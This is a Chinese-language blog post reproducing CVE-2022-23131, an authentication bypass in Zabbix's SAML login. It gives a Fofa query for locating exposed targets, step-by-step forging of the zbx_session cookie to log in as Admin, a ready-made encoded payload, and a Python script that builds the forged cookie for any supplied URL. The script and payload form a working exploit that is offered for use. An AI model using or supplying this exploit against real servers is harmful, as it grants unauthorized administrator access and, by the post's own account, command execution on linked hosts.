Zabbix登录绕过漏洞复现(CVE-2022-23131)

Zabbix登录绕过漏洞复现(CVE-2022-23131)

漏洞描述

安全断言标记语言 (SAML) 是最常见的单点登录 (SSO) 标准之一。围绕 XML 实现,它允许身份提供者(IdP,一个能够对用户进行身份验证的实体)告诉服务提供者(SP,这里是 Zabbix)你是谁。您可以将Zabbix Web 前端配置为允许通过 SAML 进行用户身份验证,但默认情况下不启用它,因为它需要了解身份提供者的详细信息。这是企业部署最常见的设置。

在启用 SAML SSO 身份验证的实例上,它允许绕过身份验证并获得管理员权限。攻击者可以使用此访问权限在链接的Zabbix Server和Zabbix Agent实例上执行任意命令。

影响版本

Zabbix Web 前端版本包括

  • 5.4.8
  • 5.0.18
  • 4.0.36
  • 6.0.0alpha1

漏洞复现

Fofa 语法 app="ZABBIX-监控系统" && body="saml"
在这里插入图片描述
点击 Sign in 下面的 Sign in with Single Sign-On (SAML)

使用 Burp 抓包
在这里插入图片描述
复制 zbx_session 的值,使用 base64 解密一下
在这里插入图片描述
解密出来的数据和 {"saml_data":{"username_attribute":"Admin"} 结合一下

{"saml_data":{"username_attribute":"Admin"},"sessionid":"34deaa6a30e4208c183b335881a90a31","sign":"1YVxmgvUSc88AlgUPD3lsAmd1hAZoy+rRxNktEwqjxxT0NywAeDBjARJugpYGuVqPU8CfGtwkNgknfUstaK5\/Q=="}

然后使用 base64 加密一下

eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiMzRkZWFhNmEzMGU0MjA4YzE4M2IzMzU4ODFhOTBhMzEiLCJzaWduIjoiMVlWeG1ndlVTYzg4QWxnVVBEM2xzQW1kMWhBWm95K3JSeE5rdEV3cWp4eFQwTnl3QWVEQmpBUkp1Z3BZR3VWcVBVOENmR3R3a05na25mVXN0YUs1XC9RPT0ifQ==

然后替换 zbx_session 的值

在这里插入图片描述

Python 脚本

Python 脚本代码

# coding

import sys
import requests
import re,base64,urllib.parse,json
# 禁用警告
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def runPoc(url):
    response = requests.get(url,verify=False)

    cookie = response.headers.get("Set-Cookie")

    sessionReg = re.compile("zbx_session=(.*?);")
    try:
        session = re.findall(sessionReg,cookie)[0]

        base64_decode = base64.b64decode(urllib.parse.unquote(session,encoding="utf-8"))
        session_json = json.loads(base64_decode)

        payload = '{"saml_data":{"username_attribute":"Admin"},"sessionid":"%s","sign":"%s"}'%(session_json["sessionid"],session_json["sign"])

        print("未加密Payload:" + payload)
        print('\n')
        payload_encode = urllib.parse.quote(base64.b64encode(payload.encode()))

        print("加密后Payload:" + payload_encode)

    except IndexError:
        print("[-] 不存在漏洞")

if __name__ == '__main__':
    try:
        url = sys.argv[1]
        runPoc(url)
    except IndexError:
        print("""
    Use: python CVE-2022-23131.py http://xxxxxxxxx.com
            
            By:MrHatSec""")

python3 CVE-2022-23131.py url
在这里插入图片描述
将生成的加密后的 Payload 替换到当前目标的 Cookie中,即可直接进入管理界面
在这里插入图片描述

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值